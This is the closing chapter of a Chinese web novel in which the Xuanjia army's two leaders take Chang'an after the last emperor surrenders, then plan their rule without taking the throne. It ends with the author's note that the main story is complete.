“他们非是当真怕因为旧事得罪过别此云,而不敢投靠,不过是有些人舍不得如今权势地位,拿你我之事当说头。”柳确于朝中官场这些年,也学会一些拐弯抹角的手段,家族的弯弯绕绕也不难猜,只是他们不曾想,一将功成万骨枯,玄甲军从西南打到江南,还能有他们这些世家翻身的机会吗? “那你我是任其家族消磨时光,还是说……”叶栖言下之意柳确明白,其实如今投奔不投奔玄甲军并不重要,毕竟玄甲军只剩中原这一块残地还没拿下。 以玄甲军占地后便要停战一段时日治理当地,中原大抵有一到三年的喘息功夫,这时候投奔玄甲军想要搏出彩是不行了,不若静候长安,等玄甲军入城后,再行安排。 观玄甲军行事,并没有苛待旧臣,唯才是用,如此就算是大历朝臣到了玄甲军,亦有重用的机会,只是看有没有本事罢了。 这也是为什么朝中世家不肯投奔玄甲军的缘故,眼下大历世家有本事的儿郎不过寥寥,想要在朝廷占据一席之地比从前困难说不说,多少平民子弟亦有机会封侯拜相,算下来实在没有出路不如耗着,万一老天爷开眼呢。 朝堂文武百官的日子过的实在战战兢兢,而玄甲军治下的消息也不再像往常一样需他们的人打听才能听闻。 拿下大历四分之三国土后,玄甲军开办邸报,国事政策皆刊登其中,就说玄甲军拿下江南岭南后,除开教化当地百姓与山上土著,便是开设船舶司进行海贸。 听闻玄甲军寻能工巧匠,若能造出远航航行的船只更是重重有赏,不少中原地区为世家大族服务的工匠便起了心思。 从前他们是世家大族的人,签了死契,真要是逃跑指不定就要叫人打死,而如今玄甲军治下不许人口买卖,也没有奴籍,只有雇佣制度,从前逃奴去了玄甲军治下亦能获得平民身份。 为此近些年世家大族的逃奴也越来越多,连部曲都有撂挑子不干去玄甲军参军的,邸报一处,玄甲军宣扬自己的渠道又多了一层,别看中原百姓认知率不高,但中原消息灵通,邸报一传十十传百,就是偏远乡村的农户也能听到些玄甲军传闻。 中原的民心也早不如前,失了西南再失江南,大历已经国将不国,中原之地历来兵家必争,中原百姓也有准备换个新主子。 如此过了两年,玄甲军吞吃消化完江南和岭南之地,复起兵中原,所过之地势如破竹,朝廷禁军亦不是玄甲军对手,最后兵临长安。 大历新帝早在收到玄甲军消息攻打中原时,就失魂落魄的在宫殿强撑,直到大兵临城,终于着金公公收拾衣冠,穿上帝服至城门口。 他不曾见过尚柒,也未在宴会上见过别此云,如今玄甲军两位主公与千军万马阵前亲临,远远看去年岁尚轻,似未过而立之年。 这样的两个人,竟从年少起兵自西南打入中原,天下竟就这样被如此二人夺取。 若说轻描淡写未免有失公允,毕竟玄甲军至今亦是一步一个脚印走过来,可对史书上乱世打天下而言,玄甲军吞吃天下并未遇上多少阻力,或者说玄甲军治理得当,只要消化的土地再不曾遇上起兵谋反之事,甚至当地百姓亦心悦诚服认同玄甲军两位主公,若非是玄甲军不允百姓为两位主公塑金身跪拜,只怕天下神佛香火不及此二人。 禁军统领在新帝身旁陪着,虽然知道此战必败,但好歹也算尽忠。 “打开城门吧,这天下将迎来新主,我又何必螳臂当车,叫长安百姓民不聊生。”新帝一声令下,下面的士兵自然没有不听从的,而新帝拿出早就写好的诏书,祈求新君登位。 尚柒和别此云花费十来年才再次回到长安,与尚柒初来长安做对比,不得不说长安萧条了不少,完全没法和当初他至长安时的热闹相比。 玄甲军入城,轻车熟路的开始统计人口,田地房产,有的大世家知大势已去,也同新帝一样浑浑噩噩在城中度日,到底要接受百年基业毁于一旦不是那么容易的。 还有些人携带金钱人口北去,似乎认为只要逃出大历国土还有一线生机,这等人尚柒和别此云没有浪费人手追逐。 “尚府竟没有被毁了去。”别此云站在尚柒当初在长安买来的宅邸处,目光似有几分回忆,他与尚柒在此处成亲,虽并未住多久,但也是一段难舍的回忆。 原他以为他和尚柒之事暴露,所有与尚柒有关的东西,都将被销毁。 “我将宅邸托付给谢琅照顾,而你我又离开长安许久,一处空宅朝廷再想追究也不过推倒重建,但咱们离开之后朝廷只怕没有这个心力。”先是天花,又是江南乱军,哪个不比他们这处宅邸恼人。 “难得故地重游,可惜咱们日后再不能住这里了。”他与尚柒不称帝也是玄甲军的主理人,若是住此地周围的安保都要重新添置不说,还要迁出此地居住的百姓,劳民伤财。 “若是怀念时时来看看就是。”尚柒随遇而安,对旧物的怀念情绪并不强。 “只怕没那么多空闲。”接下来他们入驻长安后,就需要改造长安格局,玄甲军治下城池并未行里坊制度,但时下长安百姓都已经住习惯了,想要大改需要循序渐进。 左右长安经历天花灾祸后,人口锐减,原本就有不少里坊因为人口不丰成荒野之地,若是能先将这些地方改善出来,再过度多其他里坊,便可一改长安格局。 “空不空闲先不提,咱们还是想想要是那些臣子得知你我并不称帝,会露出什么表情的好。”皇帝自古有之,他和此云此举可比二圣临朝来的刺激。 “总归我们要想个新名头,只怕他们以为咱们改了皇帝的名字,要当个新‘皇帝’罢了。”和自幼就生长在皇帝下的人讲公平,几乎没可能,但他们还年轻,有的是时间等下一辈下下辈成长起来。 “有道理,不过我觉得我们该想想培养谁接任最好,不然一辈子都蹉跎在国事上,有些不甘心。” “你还是先想想玄甲军该改个什么国号的好,便是不当皇帝了,总不能对外还以玄甲军称呼。”打天下的时候用玄甲军的名头就罢了,天下都打完了还用玄甲军,岂非是叫外人笑话。 “……怎么有这么多事。”尚柒无奈,打天下的时候以为打完了了事,结果发现打天下只是个开始。 “有我一起,应该没那么麻烦。”别此云安慰被他拉上贼船的尚柒。 “那倒是。”尚柒紧握别此云的手,一路往长安宫城去。 此去数十年,天下风云卷动,待到他们垂垂朽矣,说不得又是另一番天地了—— 作者有话说:正文完结,后期断断续续,写的没什么心力了,会有几个福利番外交代后续,感谢追更到这儿的小天使,这篇写的不太好[爆哭]《 》